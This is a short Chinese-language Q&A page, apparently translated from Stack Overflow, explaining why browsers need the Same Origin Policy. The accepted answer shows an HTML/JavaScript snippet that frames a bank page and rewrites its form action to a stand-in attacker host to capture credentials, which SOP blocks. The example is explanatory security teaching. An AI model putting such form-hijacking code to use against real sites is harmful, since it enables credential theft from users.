我已经阅读了有关Same Origin Policy的信息,但为了更好地理解这一点:有人可以写一个简单的代码(用任何语言)来证明SOP停止了攻击吗?

在SOP出现之前如何攻击某人?

最佳答案

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

Javascript代码更改了表单的action属性(可以说是目的地),因此,在提交表单时,会将凭据发送给我,而不是银行。

如果我在服务器上设置了将您重定向到银行的PHP脚本,您甚至不会注意到它。

使用相同来源策略,这种攻击是不可能的。我域中的网站无法读取或修改银行网站的内容。

关于security - 为什么需要相同来源策略的简单示例,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/14667189/

10-11 20:18